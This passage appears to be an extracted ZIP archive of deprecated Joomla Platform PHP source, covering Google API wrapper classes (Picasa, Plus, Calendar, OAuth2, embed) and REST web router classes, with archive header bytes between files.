JGoogleDataPicasaPhoto The object for method chaining * * @since 3.1.4 */ public function setTime($time) { $this->xml->children('gphoto', true)->timestamp = $time * 1000; return $this; } /** * Method to modify a Picasa Photo * * @param string $match Optional eTag matching parameter * * @return mixed Data from Google. * * @since 3.1.4 */ public function save($match = '*') { if ($this->isAuthenticated()) { $url = $this->getLink(); if ($match === true) { $match = $this->xml->xpath('./@gd:etag'); $match = $match[0]; } try { $headers = array('GData-Version' => 2, 'Content-type' => 'application/atom+xml', 'If-Match' => $match); $jdata = $this->query($url, $this->xml->asXml(), $headers, 'put'); } catch (Exception $e) { if (strpos($e->getMessage(), 'Error code 412 received requesting data: Mismatch: etags') === 0) { throw new RuntimeException("Etag match failed: `$match`.", $e->getCode(), $e); } throw $e; } $this->xml = $this->safeXml($jdata->body); return $this; } else { return false; } } /** * Refresh photo data * * @return mixed Data from Google * * @since 3.1.4 */ public function refresh() { if ($this->isAuthenticated()) { $url = $this->getLink(); $jdata = $this->query($url, null, array('GData-Version' => 2)); $this->xml = $this->safeXml($jdata->body); return $this; } else { return false; } } } PK�\��l8��joomla/google/data/plus.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google+ data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPlus extends JGoogleData { /** * @var JGoogleDataPlusPeople Google+ API object for people. * @since 3.1.4 */ protected $people; /** * @var JGoogleDataPlusActivities Google+ API object for people. * @since 3.1.4 */ protected $activities; /** * @var JGoogleDataPlusComments Google+ API object for people. * @since 3.1.4 */ protected $comments; /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { // Setup the default API url if not already set. $options->def('api.url', 'https://www.googleapis.com/plus/v1/'); parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/plus.me'); } } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JGoogleDataPlus Google+ API object (people, activities, comments). * * @since 3.1.4 */ public function __get($name) { switch ($name) { case 'people': if ($this->people == null) { $this->people = new JGoogleDataPlusPeople($this->options, $this->auth); } return $this->people; case 'activities': if ($this->activities == null) { $this->activities = new JGoogleDataPlusActivities($this->options, $this->auth); } return $this->activities; case 'comments': if ($this->comments == null) { $this->comments = new JGoogleDataPlusComments($this->options, $this->auth); } return $this->comments; } } } PK�\��ͽ�=�=joomla/google/data/calendar.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Calendar data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataCalendar extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/calendar'); } } /** * Method to remove a calendar from a user's calendar list * * @param string $calendarID ID of calendar to delete * * @return boolean Success or failure * * @since 3.1.4 * @throws UnexpectedValueException */ public function removeCalendar($calendarID) { if ($this->isAuthenticated()) { $jdata = $this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/' . urlencode($calendarID), null, null, 'delete'); if ($jdata->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } return true; } else { return false; } } /** * Method to get a calendar's settings from Google * * @param string $calendarID ID of calendar to get. * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function getCalendar($calendarID) { if ($this->isAuthenticated()) { $jdata = $this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/' . urlencode($calendarID)); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to add a calendar to a user's Google Calendar list * * @param string $calendarID New calendar ID * @param array $options New calendar settings * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function addCalendar($calendarID, $options = array()) { if ($this->isAuthenticated()) { $options['id'] = $calendarID; $url = 'https://www.googleapis.com/calendar/v3/users/me/calendarList'; $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'post'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to retrieve calendar list from Google * * @param array $options Search settings * @param int $maxpages Maximum number of pages of calendars to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listCalendars($options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/calendar/v3/users/me/calendarList?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to edit a Google Calendar's settings * * @param string $calendarID Calendar ID * @param array $options Calendar settings * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function editCalendarSettings($calendarID, $options) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/users/me/calendarList/' . urlencode($calendarID); $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'put'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to clear a Google Calendar * * @param string $calendarID ID of calendar to clear * * @return boolean Success or failure * * @since 3.1.4 * @throws UnexpectedValueException */ public function clearCalendar($calendarID) { if ($this->isAuthenticated()) { $data = $this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/' . urlencode($calendarID) . '/clear', null, null, 'post'); if ($data->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$data->body}`."); } return true; } else { return false; } } /** * Method to delete a calendar from Google * * @param string $calendarID ID of calendar to delete. * * @return boolean Success or failure * * @since 3.1.4 * @throws UnexpectedValueException */ public function deleteCalendar($calendarID) { if ($this->isAuthenticated()) { $data = $this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/' . urlencode($calendarID), null, null, 'delete'); if ($data->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$data->body}`."); } return true; } else { return false; } } /** * Method to create a Google Calendar * * @param string $title New calendar title * @param array $options New calendar settings * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function createCalendar($title, $options = array()) { if ($this->isAuthenticated()) { $options['summary'] = $title; $url = 'https://www.googleapis.com/calendar/v3/calendars'; $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'post'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to edit a Google Calendar * * @param string $calendarID Calendar ID. * @param array $options Calendar settings. * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function editCalendar($calendarID, $options) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/users/me/calendars/' . urlencode($calendarID); $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'put'); $data = json_decode($jdata->body, true); if ($data && array_key_exists('items', $data)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to delete an event from a Google Calendar * * @param string $calendarID ID of calendar to delete from * @param string $eventID ID of event to delete. * * @return boolean Success or failure. * * @since 3.1.4 * @throws UnexpectedValueException */ public function deleteEvent($calendarID, $eventID) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/users/me/calendars/' . urlencode($calendarID) . '/events/' . urlencode($eventID); $data = $this->query($url, null, null, 'delete'); if ($data->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$data->body}`."); } return true; } else { return false; } } /** * Method to get an event from a Google Calendar * * @param string $calendarID ID of calendar * @param string $eventID ID of event to get * @param array $options Options to send to Google * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function getEvent($calendarID, $eventID, $options = array()) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/users/me/calendarList/'; $url .= urlencode($calendarID) . '/events/' . urlencode($eventID) . '?' . http_build_query($options); $jdata = $this->query($url); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to create a Google Calendar event * * @param string $calendarID ID of calendar * @param mixed $start Event start time * @param mixed $end Event end time * @param array $options New event settings * @param mixed $timezone Timezone for event * @param boolean $allday Treat event as an all-day event * @param boolean $notify Notify participants * * @return mixed Data from Google. * * @since 3.1.4 * @throws InvalidArgumentException * @throws UnexpectedValueException */ public function createEvent($calendarID, $start, $end = false, $options = array(), $timezone = false, $allday = false, $notify = false) { if ($this->isAuthenticated()) { if (!$start) { $startobj = new DateTime; } elseif (is_int($start)) { $startobj = new DateTime; $startobj->setTimestamp($start); } elseif (is_string($start)) { $startobj = new DateTime($start); } elseif (is_a($start, 'DateTime')) { $startobj = $start; } else { throw new InvalidArgumentException('Invalid event start time.'); } if (!$end) { $endobj = $startobj; } elseif (is_int($end)) { $endobj = new DateTime; $endobj->setTimestamp($end); } elseif (is_string($end)) { $endobj = new DateTime($end); } elseif (is_a($end, 'DateTime')) { $endobj = $end; } else { throw new InvalidArgumentException('Invalid event end time.'); } if ($allday) { $options['start'] = array('date' => $startobj->format('Y-m-d')); $options['end'] = array('date' => $endobj->format('Y-m-d')); } else { $options['start'] = array('dateTime' => $startobj->format(DateTime::RFC3339)); $options['end'] = array('dateTime' => $endobj->format(DateTime::RFC3339)); } if ($timezone === true) { $options['start']['timeZone'] = $startobj->getTimezone()->getName(); $options['end']['timeZone'] = $endobj->getTimezone()->getName(); } elseif (is_a($timezone, 'DateTimeZone')) { $options['start']['timeZone'] = $timezone->getName(); $options['end']['timeZone'] = $timezone->getName(); } elseif (is_string($timezone)) { $options['start']['timeZone'] = $timezone; $options['end']['timeZone'] = $timezone; } $url = 'https://www.googleapis.com/calendar/v3/calendars/' . urlencode($calendarID) . '/events' . ($notify ? '?sendNotifications=true' : ''); $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'post'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to retrieve a list of events on a Google calendar * * @param string $calendarID Calendar ID * @param string $eventID ID of the event to change * @param array $options Search settings * @param int $maxpages Minimum number of events to retrieve (more may be retrieved depending on page size) * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function listRecurrences($calendarID, $eventID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/calendar/v3/users/me/calendars/' . urlencode($calendarID) . '/events/' . urlencode($eventID) . '/instances'; $url .= '?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to retrieve a list of events on a Google calendar * * @param string $calendarID Calendar ID * @param array $options Calendar settings * @param int $maxpages Cycle through pages of data to generate a complete list * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function listEvents($calendarID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/calendar/v3/calendars/' . urlencode($calendarID) . '/events?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to move an event from one calendar to another * * @param string $calendarID Calendar ID * @param string $eventID ID of the event to change * @param string $destID Calendar ID * @param boolean $notify Notify participants of changes * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function moveEvent($calendarID, $eventID, $destID, $notify = false) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/calendars/' . urlencode($calendarID) . '/events/' . urlencode($eventID) . '/move'; $url .= '?destination=' . $destID . ($notify ? '&sendNotifications=true' : ''); $jdata = $this->query($url, null, null, 'post'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to edit a Google Calendar event * * @param string $calendarID Calendar ID * @param string $eventID ID of the event to change * @param array $options Event settings * @param boolean $notify Notify participants of changes * * @return mixed Data from Google. * * @since 3.1.4 * @throws UnexpectedValueException */ public function editEvent($calendarID, $eventID, $options, $notify = false) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/calendar/v3/calendars/'; $url .= urlencode($calendarID) . '/events/' . urlencode($eventID) . ($notify ? '?sendNotifications=true' : ''); $jdata = $this->query($url, json_encode($options), array('Content-type' => 'application/json'), 'put'); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } } PK�\��=�joomla/google/auth/oauth2.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google OAuth authentication class * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleAuthOauth2 extends JGoogleAuth { /** * @var JOAuth2Client OAuth client for the Google authentication object. * @since 3.1.4 */ protected $client; /** * Constructor. * * @param Registry $options JGoogleAuth options object. * @param JOAuth2Client $client OAuth client for Google authentication. * * @since 3.1.4 */ public function __construct(Registry $options = null, JOAuth2Client $client = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JOAuth2Client($this->options); } /** * Method to authenticate to Google * * @return boolean True on success. * * @since 3.1.4 */ public function authenticate() { $this->googlize(); return $this->client->authenticate(); } /** * Verify if the client has been authenticated * * @return boolean Is authenticated * * @since 3.1.4 */ public function isAuthenticated() { return $this->client->isAuthenticated(); } /** * Method to retrieve data from Google * * @param string $url The URL for the request. * @param mixed $data The data to include in the request. * @param array $headers The headers to send with the request. * @param string $method The type of http request to send. * * @return mixed Data from Google. * * @since 3.1.4 */ public function query($url, $data = null, $headers = null, $method = 'get') { $this->googlize(); return $this->client->query($url, $data, $headers, $method); } /** * Method to fill in Google-specific OAuth settings * * @return JOAuth2Client Google-configured Oauth2 client. * * @since 3.1.4 */ protected function googlize() { if (!$this->client->getOption('authurl')) { $this->client->setOption('authurl', 'https://accounts.google.com/o/oauth2/auth'); } if (!$this->client->getOption('tokenurl')) { $this->client->setOption('tokenurl', 'https://accounts.google.com/o/oauth2/token'); } if (!$this->client->getOption('requestparams')) { $this->client->setOption('requestparams', array()); } $params = $this->client->getOption('requestparams'); if (!array_key_exists('access_type', $params)) { $params['access_type'] = 'offline'; } if ($params['access_type'] == 'offline' && $this->client->getOption('userefresh') === null) { $this->client->setOption('userefresh', true); } if (!array_key_exists('approval_prompt', $params)) { $params['approval_prompt'] = 'auto'; } $this->client->setOption('requestparams', $params); return $this->client; } } PK�\��>�hhjoomla/google/data.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google API data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ abstract class JGoogleData { /** * @var Registry Options for the Google data object. * @since 3.1.4 */ protected $options; /** * @var JGoogleAuth Authentication client for the Google data object. * @since 3.1.4 */ protected $auth; /** * Constructor. * * @param Registry $options Google options object. * @param JGoogleAuth $auth Google data http client object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { $this->options = isset($options) ? $options : new Registry; $this->auth = isset($auth) ? $auth : new JGoogleAuthOauth2($this->options); } /** * Method to authenticate to Google * * @return boolean True on success. * * @since 3.1.4 */ public function authenticate() { return $this->auth->authenticate(); } /** * Check authentication * * @return boolean True if authenticated. * * @since 3.1.4 */ public function isAuthenticated() { return $this->auth->isAuthenticated(); } /** * Method to validate XML * * @param string $data XML data to be parsed * * @return SimpleXMLElement XMLElement of parsed data * * @since 3.1.4 * @throws UnexpectedValueException */ protected static function safeXml($data) { try { return new SimpleXMLElement($data, LIBXML_NOWARNING | LIBXML_NOERROR); } catch (Exception $e) { throw new UnexpectedValueException("Unexpected data received from Google: `$data`.", $e->getCode(), $e); } } /** * Method to retrieve a list of data * * @param array $url URL to GET * @param int $maxpages Maximum number of pages to return * @param string $token Next page token * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ protected function listGetData($url, $maxpages = 1, $token = null) { $qurl = $url; if (strpos($url, '&') && isset($token)) { $qurl .= '&pageToken=' . $token; } elseif (isset($token)) { $qurl .= 'pageToken=' . $token; } $jdata = $this->query($qurl); $data = json_decode($jdata->body, true); if ($data && array_key_exists('items', $data)) { if ($maxpages != 1 && array_key_exists('nextPageToken', $data)) { $data['items'] = array_merge($data['items'], $this->listGetData($url, $maxpages - 1, $data['nextPageToken'])); } return $data['items']; } elseif ($data) { return array(); } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } /** * Method to retrieve data from Google * * @param string $url The URL for the request. * @param mixed $data The data to include in the request. * @param array $headers The headers to send with the request. * @param string $method The type of http request to send. * * @return mixed Data from Google. * * @since 3.1.4 */ protected function query($url, $data = null, $headers = null, $method = 'get') { return $this->auth->query($url, $data, $headers, $method); } /** * Get an option from the JGoogleData instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JGoogleData instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JGoogleData This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\�OuMMjoomla/google/google.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with the Google APIs. * * @property-read JGoogleData $data Google API object for data. * @property-read JGoogleEmbed $embed Google API object for embed generation. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogle { /** * @var Registry Options for the Google object. * @since 3.1.4 */ protected $options; /** * @var JGoogleAuth The authentication client object to use in sending authenticated HTTP requests. * @since 3.1.4 */ protected $auth; /** * @var JGoogleData Google API object for data request. * @since 3.1.4 */ protected $data; /** * @var JGoogleEmbed Google API object for embed generation. * @since 3.1.4 */ protected $embed; /** * Constructor. * * @param Registry $options Google options object. * @param JGoogleAuth $auth The authentication client object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { $this->options = isset($options) ? $options : new Registry; $this->auth = isset($auth) ? $auth : new JGoogleAuthOauth2($this->options); } /** * Method to create JGoogleData objects * * @param string $name Name of property to retrieve * @param Registry $options Google options object. * @param JGoogleAuth $auth The authentication client object. * * @return JGoogleData Google data API object. * * @since 3.1.4 */ public function data($name, $options = null, $auth = null) { if ($this->options && !$options) { $options = $this->options; } if ($this->auth && !$auth) { $auth = $this->auth; } switch ($name) { case 'plus': case 'Plus': return new JGoogleDataPlus($options, $auth); case 'picasa': case 'Picasa': return new JGoogleDataPicasa($options, $auth); case 'adsense': case 'Adsense': return new JGoogleDataAdsense($options, $auth); case 'calendar': case 'Calendar': return new JGoogleDataCalendar($options, $auth); default: return; } } /** * Method to create JGoogleEmbed objects * * @param string $name Name of property to retrieve * @param Registry $options Google options object. * * @return JGoogleEmbed Google embed API object. * * @since 3.1.4 */ public function embed($name, $options = null) { if ($this->options && !$options) { $options = $this->options; } switch ($name) { case 'maps': case 'Maps': return new JGoogleEmbedMaps($options); case 'analytics': case 'Analytics': return new JGoogleEmbedAnalytics($options); default: return; } } /** * Get an option from the JGoogle instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JGoogle instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JGoogle This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\K�,K� � joomla/google/embed.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google API object class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ abstract class JGoogleEmbed { /** * @var Registry Options for the Google data object. * @since 3.1.4 */ protected $options; /** * @var JUri URI of the page being rendered. * @since 3.1.4 */ protected $uri; /** * Constructor. * * @param Registry $options Google options object * @param JUri $uri URL of the page being rendered * * @since 3.1.4 */ public function __construct(Registry $options = null, JUri $uri = null) { $this->options = $options ? $options : new Registry; $this->uri = $uri ? $uri : JUri::getInstance(); } /** * Method to retrieve the javascript header for the embed API * * @return string The header * * @since 3.1.4 */ public function isSecure() { return $this->uri->getScheme() == 'https'; } /** * Method to retrieve the header for the API * * @return string The header * * @since 3.1.4 */ abstract public function getHeader(); /** * Method to retrieve the body for the API * * @return string The body * * @since 3.1.4 */ abstract public function getBody(); /** * Method to output the javascript header for the embed API * * @return null * * @since 3.1.4 */ public function echoHeader() { echo $this->getHeader(); } /** * Method to output the body for the API * * @return null * * @since 3.1.4 */ public function echoBody() { echo $this->getBody(); } /** * Get an option from the JGoogleEmbed instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JGoogleEmbed instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JGoogleEmbed This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\�&�&&joomla/application/web/router/rest.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Application * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * RESTful Web application router class for the Joomla Platform. * * @since 3.0 * @deprecated 4.0 Use the `joomla/router` package via Composer instead */ class JApplicationWebRouterRest extends JApplicationWebRouterBase { /** * @var boolean A boolean allowing to pass _method as parameter in POST requests * @since 3.0 */ protected $methodInPostRequest = false; /** * @var array An array of HTTP Method => controller suffix pairs for routing the request. * @since 3.0 */ protected $suffixMap = array( 'GET' => 'Get', 'POST' => 'Create', 'PUT' => 'Update', 'PATCH' => 'Update', 'DELETE' => 'Delete', 'HEAD' => 'Head', 'OPTIONS' => 'Options', ); /** * Find and execute the appropriate controller based on a given route. * * @param string $route The route string for which to find and execute a controller. * * @return void * * @since 3.0 * @throws InvalidArgumentException * @throws RuntimeException */ public function execute($route) { // Get the controller name based on the route patterns and requested route. $name = $this->parseRoute($route); // Append the HTTP method based suffix. $name .= $this->fetchControllerSuffix(); // Get the controller object by name. $controller = $this->fetchController($name); // Execute the controller. $controller->execute(); } /** * Set a controller class suffix for a given HTTP method. * * @param string $method The HTTP method for which to set the class suffix. * @param string $suffix The class suffix to use when fetching the controller name for a given request. * * @return JApplicationWebRouter This object for method chaining. * * @since 3.0 */ public function setHttpMethodSuffix($method, $suffix) { $this->suffixMap[strtoupper((string) $method)] = (string) $suffix; return $this; } /** * Set to allow or not method in POST request * * @param boolean $value A boolean to allow or not method in POST request * * @return void * * @since 3.0 */ public function setMethodInPostRequest($value) { $this->methodInPostRequest = $value; } /** * Get the property to allow or not method in POST request * * @return boolean * * @since 3.0 */ public function isMethodInPostRequest() { return $this->methodInPostRequest; } /** * Get the controller class suffix string. * * @return string * * @since 3.0 * @throws RuntimeException */ protected function fetchControllerSuffix() { // Validate that we have a map to handle the given HTTP method. if (!isset($this->suffixMap[$this->input->getMethod()])) { throw new RuntimeException(sprintf('Unable to support the HTTP method `%s`.', $this->input->getMethod()), 404); } // Check if request method is POST if ($this->methodInPostRequest == true && strcmp(strtoupper($this->input->server->getMethod()), 'POST') === 0) { // Get the method from input $postMethod = $this->input->get->getWord('_method'); // Validate that we have a map to handle the given HTTP method from input if ($postMethod && isset($this->suffixMap[strtoupper($postMethod)])) { return ucfirst($this->suffixMap[strtoupper($postMethod)]); } } return ucfirst($this->suffixMap[$this->input->getMethod()]); } } PK�\��**&joomla/application/web/router/base.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Application * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Basic Web application router class for the Joomla Platform. * * @since 3.0 * @deprecated 4.0 Use the `joomla/router` package via Composer instead */ class JApplicationWebRouterBase extends JApplicationWebRouter { /** * @var array An array of rules, each rule being an associative array('regex'=> $regex, 'vars' => $vars, 'controller' => $controller) * for routing the request. * @since 3.0 */ protected $maps = array(); /** * Add a route map to the router. If the pattern already exists it will be overwritten. * * @param string $pattern The route pattern to use for matching. * @param string $controller The controller name to map to the given pattern. * * @return JApplicationWebRouter This object for method chaining. * * @since 3.0 */ public function addMap($pattern, $controller) { // Sanitize and explode the pattern. $pattern = explode('/', trim(parse_url((string) $pattern, PHP_URL_PATH), ' /')); // Prepare the route variables $vars = array(); // Initialize regular expression $regex = array(); // Loop on each segment foreach ($pattern as $segment) { // Match a splat with no variable. if ($segment == '*') { $regex[] = '.*'; } // Match a splat and capture the data to a named variable. elseif ($segment[0] == '*') { $vars[] = substr($segment, 1); $regex[] = '(.*)'; } // Match an escaped splat segment. elseif ($segment[0] == '\\' && $segment[1] == '*') { $regex[] = '\*' . preg_quote(substr($segment, 2)); } // Match an unnamed variable without capture. elseif ($segment == ':') { $regex[] = '[^/]*'; } // Match a named variable and capture the data. elseif ($segment[0] == ':') { $vars[] = substr($segment, 1); $regex[] = '([^/]*)'; } // Match a segment with an escaped variable character prefix. elseif ($segment[0] == '\\' && $segment[1] == ':') { $regex[] = preg_quote(substr($segment, 1)); } // Match the standard segment. else { $regex[] = preg_quote($segment); } } $this->maps[] = array( 'regex' => chr(1) . '^' . implode('/', $regex) . '$' . chr(1), 'vars' => $vars, 'controller' => (string) $controller, ); return $this; } /** * Add a route map to the router. If the pattern already exists it will be overwritten. * * @param array $maps A list of route maps to add to the router as $pattern => $controller. * * @return JApplicationWebRouter This object for method chaining. * * @since 3.0 */ public function addMaps($maps) { foreach ($maps as $pattern => $controller) { $this->addMap($pattern, $controller); } return $this; } /** * Parse the given route and return the name of a controller mapped to the given route. * * @param string $route The route string for which to find and execute a controller. * * @return string The controller name for the given route excluding prefix. * * @since 3.0 * @throws InvalidArgumentException */ protected function parseRoute($route) { $controller = false; // Trim the query string off. $route = preg_replace('/([^?]*).*/u', '\1', $route); // Sanitize and explode the route. $route = trim(parse_url($route, PHP_URL_PATH), ' /'); // If the route is empty then simply return the default route. No parsing necessary. if ($route == '') { return $this->default; } // Iterate through all of the known route maps looking for a match. foreach ($this->maps as $rule) { if (preg_match($rule['regex'], $route, $matches)) { // If we have gotten this far then we have a positive match. $controller = $rule['controller']; // Time to set the input variables. // We are only going to set them if they don't already exist to avoid overwriting things. foreach ($rule['vars'] as $i => $var) { $this->input->def($var, $matches[$i + 1]); // Don't forget to do an explicit set on the GET superglobal. $this->input->get->def($var, $matches[$i + 1]); } $this->input->def('_rawRoute', $route); break; } } // We were unable to find a route match for the request. Panic. if (!$controller) { throw new InvalidArgumentException(sprintf('Unable to handle request for route `%s`.', $route), 404); } return $controller; } } PK�\WC��gg!joomla/application/web/router.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Application * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Class to define an abstract Web application router. * * @since 3.0 * @deprecated 4.0 Use the `joomla/router` package via Composer instead */ abstract class JApplicationWebRouter { /** * @var JApplicationWeb The web application on whose behalf we are routing the request. * @since 3.0 */ protected $app; /** * @var string The default page controller name for an empty route. * @since 3.0 */ protected $default; /** * @var string Controller class name prefix for creating controller objects by name. * @since 3.0 */ protected $controllerPrefix; /** * @var JInput An input object from which to derive the route. * @since 3.0 */ protected $input; /** * Constructor. * * @param JApplicationWeb $app The web application on whose behalf we are routing the request. * @param JInput $input An optional input object from which to derive the route. If none * is given than the input from the application object will be used. * * @since 3.0 */ public function __construct(JApplicationWeb $app, JInput $input = null) { $this->app = $app; $this->input = ($input === null) ? $this->app->input : $input; } /** * Find and execute the appropriate controller based on a given route. * * @param string $route The route string for which to find and execute a controller. * * @return mixed The return value of the controller executed * * @since 3.0 * @throws InvalidArgumentException * @throws RuntimeException */ public function execute($route) { // Get the 